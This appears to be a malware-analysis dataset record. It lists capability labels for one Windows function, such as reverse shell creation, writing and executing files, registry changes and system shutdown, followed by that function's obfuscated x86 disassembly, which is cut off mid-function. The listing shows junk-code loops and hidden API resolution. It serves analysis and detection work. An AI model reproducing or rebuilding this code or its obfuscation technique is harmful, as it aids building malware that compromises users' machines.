Function at 0x61ce50
Capabilities:
Accept command line arguments
Allocate thread local storage
Check mutex and terminate process on windows
Check mutex on windows
Clear file content
Create pipe
Create process on windows
Create reverse shell
Create thread
Get file attributes
Get graphical window text
Get thread local storage value
Query environment variable
Query or enumerate registry value
Read file on windows
Read pipe
Resolve dns
Set environment variable
Set registry value
Shutdown system
Terminate process
Terminate thread
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov dword [ebp - 0x70], 0xd836
mov dword [ebp - 0x90], 0x13a0f
mov dword [ebp - 0x98], 0xeae0
mov dword [ebp - 0x9c], 0x10123
mov dword [ebp - 0x60], 0x1470f
mov dword [ebp - 0x38], 0xfce6
mov dword [ebp - 0x88], 0xded5
mov dword [ebp - 0xa8], 0x1219b
mov dword [ebp - 0x80], 0xdc5b
mov dword [ebp - 0x7c], 0x1cda
mov dword [ebp - 0x48], 0x15bb6
mov dword [ebp - 0xa0], 0x295d
mov dword [ebp - 0x94], 0x2790
mov dword [ebp - 0xa4], 0x2575
mov dword [ebp - 0x50], 0x11aa1
mov dword [ebp - 0x78], 0x3a50
mov dword [ebp - 0x84], 0x11290
mov dword [ebp - 0x74], 0x11119
mov dword [ebp - 0x8c], 0x63f5
mov dword [ebp - 0x4c], 0x95fd
mov dword [ebp - 0x64], 0x13c7a
mov eax, dword [ebp - 0x64]
sub eax, 0xd1c8
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x80]
add ecx, dword [ebp - 0x64]
mov dword [ebp - 0x80], ecx
jmp 0x61cf29
mov edx, dword [ebp - 0x80]
add edx, 1
mov dword [ebp - 0x80], edx
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x60]
jge 0x61cfb6
mov ecx, dword [ebp - 0xa4]
sub ecx, 1
mov dword [ebp - 0xa4], ecx
mov edx, dword [ebp - 0x7c]
add edx, 1
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0xa0]
cmp eax, dword [ebp - 0x64]
jl 0x61cf8a
mov ecx, dword [ebp - 0xa8]
or ecx, dword [ebp - 0x7c]
mov dword [ebp - 0xc0], ecx
mov edx, dword [ebp - 0xa8]
add edx, 1
mov dword [ebp - 0xa8], edx
cmp dword [ebp - 0xc0], 0
je 0x61cf99
mov eax, dword [ebp - 0x90]
cmp eax, dword [ebp - 0x38]
jge 0x61cf99
mov ecx, dword [ebp - 0x98]
sub ecx, 1
mov dword [ebp - 0x98], ecx
mov edx, dword [ebp - 0x88]
sub edx, 1
mov dword [ebp - 0x88], edx
mov eax, dword [ebp - 0x74]
add eax, 1
mov dword [ebp - 0x74], eax
jmp 0x61cf20
call fcn.006106b0
call fcn.0040a130
cmp dword [0x627204], 0
jne 0x61cfec
push 0x249b
push 0xeef
push 0xc9b2
call fcn.00409a80
add esp, 0xc
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x627204], eax
mov ecx, dword [ebp - 0x64]
sub ecx, 0x24c7
mov dword [ebp - 0x64], ecx
mov edx, dword [ebp - 0x9c]
add edx, dword [ebp - 0x64]
mov dword [ebp - 0x9c], edx
jmp 0x61d018
mov eax, dword [ebp - 0x9c]
add eax, 1
mov dword [ebp - 0x9c], eax
mov ecx, dword [ebp - 0x9c]
cmp ecx, dword [ebp - 0x80]
jge 0x61d213
mov edx, dword [ebp - 0x78]
sub edx, 1
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x50]
sub eax, 1
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x60]
sub ecx, 1
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0xa8]
cmp edx, dword [ebp - 0x90]
jge 0x61d05b
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x84]
jl 0x61d07f
mov ecx, dword [ebp - 0x64]
xor ecx, dword [ebp - 0x94]
cmp ecx, dword [ebp - 0x38]
jl 0x61d07f
mov edx, dword [ebp - 0x60]
or edx, dword [ebp - 0x48]
je 0x61d08e
mov eax, dword [ebp - 0x8c]
xor eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x74]
jge 0x61d08e
mov ecx, dword [ebp - 0x84]
add ecx, 1
mov dword [ebp - 0x84], ecx
mov edx, dword [ebp - 0x60]
and edx, dword [ebp - 0x50]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0xc4], 0
jne 0x61d0ca
mov ecx, dword [ebp - 0x84]
and ecx, dword [ebp - 0x4c]
je 0x61d0d3
mov edx, dword [ebp - 0x88]
sub edx, dword [ebp - 0x70]
je 0x61d0d3
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x7c]
je 0x61d0d3
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0xc8], edx
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xcc], eax
mov ecx, dword [ebp - 0x60]
sub ecx, 1
mov dword [ebp - 0x60], ecx
mov edx, dword [ebp - 0xc8]
cmp edx, dword [ebp - 0xcc]
jl 0x61d107
mov eax, dword [ebp - 0x98]
and eax, dword [ebp - 0x64]
je 0x61d125
mov ecx, dword [ebp - 0x38]
imul ecx, dword [ebp - 0x8c]
cmp ecx, dword [ebp - 0x7c]
jge 0x61d125
mov edx, dword [ebp - 0x94]
sub edx, 1
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x60]
xor eax, dword [ebp - 0x38]
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0x38]
sub ecx, 1
mov dword [ebp - 0x38], ecx
cmp dword [ebp - 0xd0], 0
je 0x61d166
mov edx, dword [ebp - 0x70]
add edx, 1
mov dword [ebp - 0x70], edx
mov eax, dword [ebp - 0x84]
sub eax, dword [ebp - 0x70]
je 0x61d166
mov ecx, dword [ebp - 0x90]
add ecx, 1
mov dword [ebp - 0x90], ecx
mov edx, dword [ebp - 0x78]
or edx, dword [ebp - 0x94]
je 0x61d17c
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x8c]
jl 0x61d19a
mov ecx, dword [ebp - 0x48]
add ecx, dword [ebp - 0x84]
jne 0x61d19a
mov edx, dword [ebp - 0x74]
and edx, dword [ebp - 0xa4]
je 0x61d1a9
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x70]
jge 0x61d1a9
mov ecx, dword [ebp - 0x8c]
add ecx, 1
mov dword [ebp - 0x8c], ecx
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0xd4], edx
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0xd8], eax
mov ecx, dword [ebp - 0x4c]
sub ecx, 1
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0xd4]
cmp edx, dword [ebp - 0xd8]
jge 0x61d1da
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x78]
jl 0x61d1f6
mov ecx, dword [ebp - 0x48]
cmp ecx, dword [ebp - 0xa0]
jge 0x61d205
mov edx, dword [ebp - 0x84]
add edx, dword [ebp - 0x94]
cmp edx, dword [ebp - 0x74]
jge 0x61d205
mov eax, dword [ebp - 0x88]
add eax, 1
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x78]
sub ecx, 1
mov dword [ebp - 0x78], ecx
jmp 0x61d009
mov edx, dword [0x627218]
push edx
mov eax, dword [0x627208]
push eax
mov ecx, dword [0x627214]
push ecx
mov edx, dword [0x627200]
push edx
mov eax, dword [0x627204]
push eax
push 0xa179
push 0xac90
push 0x7d53
push 0x2c47
call fcn.0061b0b0
add esp, 0x10
push eax
mov ecx, dword [0x627204]
push ecx
call fcn.0061e210
add esp, 8
call eax
test eax, eax
je 0x61e1fc
mov edx, dword [ebp - 0x4c]
add edx, dword [ebp - 0x64]
cmp edx, dword [ebp - 0x7c]
jge 0x61d2a1
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x38]
jge 0x61d289
mov dword [ebp - 0xac], 1
jmp 0x61d293
mov dword [ebp - 0xac], 0
mov ecx, dword [ebp - 0x8c]
or ecx, dword [ebp - 0xac]
jne 0x61d2af
mov edx, dword [ebp - 0x90]
cmp edx, dword [ebp - 0x9c]
jge 0x61d2b8
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
call fcn.0040bad0
mov ecx, dword [ebp - 0x48]
sub ecx, 0xa05a
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x70]
sub edx, dword [ebp - 0x48]
mov dword [ebp - 0x70], edx
jmp 0x61d2dd
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
mov ecx, dword [ebp - 0x70]
cmp ecx, dword [ebp - 0x7c]
jge 0x61d490
mov edx, dword [ebp - 0x48]
sub edx, 1
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x38]
sub eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x48]
jl 0x61d30e
mov ecx, dword [ebp - 0x74]
sub ecx, dword [ebp - 0x88]
cmp ecx, dword [ebp - 0xa4]
jge 0x61d317
mov edx, dword [ebp - 0x60]
sub edx, 1
mov dword [ebp - 0x60], edx
mov eax, dword [ebp - 0x64]
add eax, 1
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x94]
cmp ecx, dword [ebp - 0x90]
jge 0x61d34b
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0x98]
jge 0x61d34b
mov ecx, dword [ebp - 0x50]
sub ecx, 1
mov dword [ebp - 0x50], ecx
mov edx, dword [ebp - 0x80]
cmp edx, dword [ebp - 0xa4]
jge 0x61d48b
mov eax, dword [ebp - 0x4c]
add eax, dword [ebp - 0x50]
jne 0x61d3cc
mov ecx, dword [ebp - 0xa8]
cmp ecx, dword [ebp - 0x78]
jl 0x61d3cc
mov edx, dword [ebp - 0x88]
cmp edx, dword [ebp - 0x84]
jge 0x61d387
mov dword [ebp - 0xb0], 1
jmp 0x61d391
mov dword [ebp - 0xb0], 0
mov eax, dword [ebp - 0x94]
or eax, dword [ebp - 0xb0]
jne 0x61d3cc
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0xdc], ecx
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0xe0], edx
mov eax, dword [ebp - 0x38]
add eax, 1
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0xdc]
cmp ecx, dword [ebp - 0xe0]
jge 0x61d48b
mov edx, dword [ebp - 0x50]
add edx, 1
mov dword [ebp - 0x50], edx
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x78]
jge 0x61d40d
mov ecx, dword [ebp - 0x74]
sub ecx, 1
mov dword [ebp - 0x74], ecx
mov edx, dword [ebp - 0x90]
cmp edx, dword [ebp - 0x74]
jge 0x61d40d
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x88]
cmp eax, dword [ebp - 0x98]
jge 0x61d40d
mov ecx, dword [ebp - 0x8c]
cmp ecx, dword [ebp - 0x48]
jl 0x61d41e
mov edx, dword [ebp - 0x98]
imul edx, dword [ebp - 0xa0]
test edx, edx
je 0x61d48b
mov eax, dword [ebp - 0x8c]
or eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x4c]
jl 0x61d482
mov ecx, dword [ebp - 0x4c]
xor ecx, dword [ebp - 0x90]
jne 0x61d482
mov edx, dword [ebp - 0xa0]
mov dword [ebp - 0xe4], edx
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0xe8], eax
mov ecx, dword [ebp - 0xa0]
add ecx, 1
mov dword [ebp - 0xa0], ecx
mov edx, dword [ebp - 0xe4]
cmp edx, dword [ebp - 0xe8]
jl 0x61d482
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0x74]
test eax, eax
je 0x61d48b
mov ecx, dword [ebp - 0x50]
add ecx, dword [ebp - 0x38]
je 0x61d48b
mov edx, dword [ebp - 0x78]
sub edx, 1
mov dword [ebp - 0x78], edx
jmp 0x61d2d4
cmp dword [0x627204], 0
je 0x61e1fc
mov dword [ebp - 0x44], 0x15553
mov dword [ebp - 0x1c], 0x142ba
mov dword [ebp - 0x68], 0x16c96
mov dword [ebp - 0x30], 0x15b54
mov dword [ebp - 8], 0x181cc
mov dword [ebp - 0x28], 0xfa8a
mov dword [ebp - 0x24], 0xeda8
mov dword [ebp - 0x10], 0x79bb
mov dword [ebp - 0x18], 0x4470
mov dword [ebp - 4], 0x420d
mov dword [ebp - 0x2c], 0x4f91
mov dword [ebp - 0x3c], 0x668c
mov dword [ebp - 0x5c], 0x901b
mov dword [ebp - 0x40], 0x622f
mov dword [ebp - 0x20], 0x661e
mov dword [ebp - 0x6c], 0x8611
mov dword [ebp - 0xc], 0x1967
mov dword [ebp - 0x58], 0x6c9a
mov dword [ebp - 0x34], 0xc40
mov dword [ebp - 0x14], 0xaa7c
mov dword [ebp - 0x54], 0x13ab2
mov eax, dword [ebp - 0x40]
add eax, 0xb4d
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x40]
mov dword [ebp - 0x10], ecx
jmp 0x61d54f
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x34]
jge 0x61d6a1
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0xec], ecx
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0xc]
sub eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x6c]
add ecx, 1
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0xec]
cmp edx, dword [ebp - 0xf0]
jl 0x61d5c6
mov eax, dword [ebp - 0x28]
or eax, dword [ebp - 0x54]
mov dword [ebp - 0xf4], eax
mov ecx, dword [ebp - 0x28]
add ecx, 1
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0xf4], 0
jne 0x61d5c6
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 0x58]
jge 0x61d5cf
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x58]
jge 0x61d5cf
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp - 0x1c]
jge 0x61d5cf
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, dword [ebp - 0x2c]
je 0x61d644
mov ecx, dword [ebp - 0x54]
xor ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0x18]
jge 0x61d644
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 4]
jge 0x61d644
mov ecx, dword [ebp - 0xc]
imul ecx, dword [ebp - 0x30]
test ecx, ecx
je 0x61d612
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x14]
jl 0x61d61a
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x2c]
jge 0x61d644
mov edx, dword [ebp - 0x6c]
imul edx, dword [ebp - 0x18]
test edx, edx
jne 0x61d63b
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 4]
test eax, eax
jne 0x61d63b
mov ecx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x5c]
test ecx, ecx
je 0x61d644
mov edx, dword [ebp - 0x44]
sub edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
or eax, dword [ebp - 0x6c]
je 0x61d660
mov ecx, dword [ebp - 0x14]
imul ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x61d660
mov edx, dword [ebp - 0x40]
sub edx, 1
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 4]
sub eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x20]
sub ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x68]
cmp edx, dword [ebp - 0x14]
jl 0x61d68a
mov eax, dword [ebp - 0x28]
or eax, dword [ebp - 0x44]
jne 0x61d68a
mov ecx, dword [ebp - 0x18]
xor ecx, dword [ebp - 0x2c]
je 0x61d693
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
jmp 0x61d546
call fcn.00410240
mov ecx, dword [ebp - 0x68]
sub ecx, 0x1d84
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x10]
add edx, dword [ebp - 0x68]
mov dword [ebp - 0x10], edx
jmp 0x61d6c6
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x30]
jge 0x61d8c4
mov edx, dword [ebp - 0x24]
cmp edx, dword [ebp - 0x2c]
jge 0x61d6f9
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x3c]
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0xf8], 0
jne 0x61d711
mov edx, dword [ebp - 0x54]
cmp edx, dword [ebp - 4]
jge 0x61d709
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 8]
jl 0x61d711
mov ecx, dword [ebp - 0x58]
add ecx, dword [ebp - 0x18]
je 0x61d71a
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0x34]
xor eax, dword [ebp - 0x40]
je 0x61d74d
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x44]
jge 0x61d74d
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0x1c]
jge 0x61d74d
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x1c]
and ecx, dword [ebp - 0x18]
je 0x61d766
mov edx, dword [ebp - 0x40]
add edx, dword [ebp - 8]
jne 0x61d7ab
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x20]
test eax, eax
jne 0x61d7ab
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0xfc], ecx
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x100], edx
mov eax, dword [ebp - 0x54]
sub eax, 1
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0xfc]
cmp ecx, dword [ebp - 0x100]
jge 0x61d7e6
mov edx, dword [ebp - 0xc]
sub edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 4]
jge 0x61d7e6
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x28]
jge 0x61d7c4
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x18]
jl 0x61d7dd
mov ecx, dword [ebp - 4]
sub ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
and edx, dword [ebp - 0x58]
jne 0x61d7dd
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jge 0x61d7e6
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x5c]
add edx, 1
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x5c]
sub ecx, 1
mov dword [ebp - 0x5c], ecx
mov edx, dword [ebp - 0x34]
sub edx, dword [ebp - 0x68]
je 0x61d86c
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x1c]
jge 0x61d81d
mov dword [ebp - 0xb4], 1
jmp 0x61d827
mov dword [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x18]
and ecx, dword [ebp - 0xb4]
je 0x61d86c
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x44]
je 0x61d86c
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 8]
jge 0x61d84e
mov dword [ebp - 0xb8], 1
jmp 0x61d858
mov dword [ebp - 0xb8], 0
mov ecx, dword [ebp - 0x6c]
and ecx, dword [ebp - 0xb8]
je 0x61d86c
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0xc]
jl 0x61d88e
mov edx, dword [ebp - 0x58]
add edx, 1
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x58]
je 0x61d8bf
mov ecx, dword [ebp - 0x68]
cmp ecx, dword [ebp - 0x44]
jge 0x61d89e
mov edx, dword [ebp - 0x24]
sub edx, dword [ebp - 0x20]
jne 0x61d8ae
mov eax, dword [ebp - 0x54]
xor eax, dword [ebp - 0x3c]
jne 0x61d8ae
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0xc]
je 0x61d8bf
mov edx, dword [ebp - 0x34]
and edx, dword [ebp - 0x18]
je 0x61d8bf
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x61d6bd
mov ecx, dword [ebp - 0x3c]
add ecx, 0x51f3
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x3c]
mov dword [ebp - 4], edx
jmp 0x61d8e4
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x28]
jge 0x61da1b
mov edx, dword [ebp - 0x5c]
cmp edx, dword [ebp - 0x20]
jl 0x61d900
mov eax, dword [ebp - 0x30]
and eax, dword [ebp - 0x44]
je 0x61d92d
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x6c]
jl 0x61d924
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x10]
je 0x61d92d
mov ecx, dword [ebp - 0x3c]
or ecx, dword [ebp - 0x24]
je 0x61d92d
mov edx, dword [ebp - 0x10]
sub edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x30]
sub eax, 1
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 8]
je 0x61d950
mov eax, dword [ebp - 0x2c]
add eax, 1
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x20]
add ecx, 1
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x3c]
add edx, 1
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x24]
jge 0x61d97a
mov ecx, dword [ebp - 0x20]
cmp ecx, dword [ebp - 0x30]
jge 0x61d97a
mov edx, dword [ebp - 0x6c]
cmp edx, dword [ebp - 0x3c]
jl 0x61d998
mov eax, dword [ebp - 0xc]
or eax, dword [ebp - 0x44]
mov dword [ebp - 0x104], eax
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 0x104], 0
je 0x61d9b9
mov edx, dword [ebp - 0x6c]
and edx, dword [ebp - 0x54]
jne 0x61d9b0
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 8]
jge 0x61d9b9
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0xc]
jge 0x61d9b9
mov edx, dword [ebp - 0x30]
add edx, 1
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x18]
xor eax, dword [ebp - 0x24]
je 0x61da16
mov ecx, dword [ebp - 8]
cmp ecx, dword [ebp - 0x2c]
jge 0x61d9d4
mov edx, dword [ebp - 0x68]
imul edx, dword [ebp - 0x1c]
test edx, edx
jne 0x61d9f2
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x108], eax
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x108], 0
je 0x61da16
mov edx, dword [ebp - 0x14]
and edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x34]
jge 0x61da16
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x10]
jge 0x61da16
mov ecx, dword [ebp - 0x2c]
cmp ecx, dword [ebp - 0x34]
jge 0x61da16
mov edx, dword [ebp - 0x24]
sub edx, 1
mov dword [ebp - 0x24], edx
jmp 0x61d8db
call fcn.0061cdb0
call fcn.00617a80
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x44]
jne 0x61da66
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10c], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x110], edx
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10c]
cmp ecx, dword [ebp - 0x110]
jge 0x61da77
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x18]
je 0x61da77
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 4]
jge 0x61da77
mov ecx, dword [ebp - 0x3c]
cmp ecx, dword [ebp - 0x2c]
jge 0x61da77
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x40]
add eax, 0xa968
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x18]
add ecx, dword [ebp - 0x40]
mov dword [ebp - 0x18], ecx
jmp 0x61da96
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x10]
jge 0x61db86
mov ecx, dword [ebp - 0x68]
add ecx, dword [ebp - 0x44]
cmp ecx, dword [ebp - 0x30]
jge 0x61dab6
mov edx, dword [ebp - 4]
sub edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x3c]
and eax, dword [ebp - 0x40]
je 0x61db17
mov ecx, dword [ebp - 4]
imul ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x61daf2
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x118], eax
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x114]
cmp edx, dword [ebp - 0x118]
jl 0x61db0e
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x58]
je 0x61db17
mov ecx, dword [ebp - 0xc]
sub ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x68]
add edx, dword [ebp - 0xc]
cmp edx, dword [ebp - 0x30]
jge 0x61db17
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0xc]
cmp ecx, dword [ebp - 0x20]
jge 0x61db39
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x1c]
jge 0x61db39
mov ecx, dword [ebp - 0x34]
add ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x1c]
imul edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 8]
jge 0x61db6f
mov eax, dword [ebp - 0x58]
xor eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x40]
jge 0x61db6f
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x28]
cmp ecx, dword [ebp - 0xc]
jge 0x61db6f
mov edx, dword [ebp - 0x68]
imul edx, dword [ebp - 0x20]
test edx, edx
je 0x61db6f
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 1
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
jmp 0x61da8d
mov eax, dword [ebp - 0x14]
add eax, 0x76ce
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x14]
mov dword [ebp - 0xc], ecx
jmp 0x61dba5
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x54]
jge 0x61dd17
mov ecx, dword [ebp - 0x34]
sub ecx, 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x20]
or edx, dword [ebp - 0x30]
jne 0x61dc12
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 4]
mov dword [ebp - 0x11c], eax
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x11c]
cmp eax, dword [ebp - 0x120]
jge 0x61dbf6
mov ecx, dword [ebp - 0x3c]
sub ecx, dword [ebp - 0x68]
